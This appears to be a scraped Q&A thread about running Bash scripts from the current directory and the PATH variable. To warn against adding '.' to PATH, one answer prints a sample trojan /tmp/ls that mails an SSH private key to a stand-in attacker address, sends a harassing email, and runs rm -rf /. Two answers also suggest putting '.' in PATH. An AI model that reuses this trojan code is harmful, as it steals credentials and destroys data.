开发者

Why do I have to use an absolute path to execute Bash scripts?

开发者 https://www.devze.com 2023-01-05 07:36 出处:网络
I have a Bash script on my desktop called highest. If I run: cd ~/Desktop highest I get: Command not found

I have a Bash script on my desktop called highest.

If I run:

cd ~/Desktop
highest

I get: Command not found

But if I run:

~/Desktop/highest

It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?

I am guessing thi开发者_开发问答s has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.


I agree with @Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .

For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.

$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.

Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.

  1. Add your own ~/bin directory, and place your own binaries in there.

    mkdir ~/bin
    vi ~/bin/highest
    
  2. Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.

    export PATH=$PATH:~/bin

  3. To verify that highest is your path, do this:

    bash$ which highest
    /Users/stefanl/bin/highest
    


Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.


The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:

export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"


Don't change PATH, simply move or symlink the script to some standard location, e.g.

mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest

If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.


You would need to add the local directory to your path:

PATH=$PATH:.
export PATH

This can be done in your .profile or .bash_profile to always set this up whenever you login.

Also, as a matter of course, you can run the command with the current directory marker:

./highest

as well.

Of course there are security implications as noted below by many MANY users, which I should have mentioned.

0

精彩评论

暂无评论...
验证码 换一张
取 消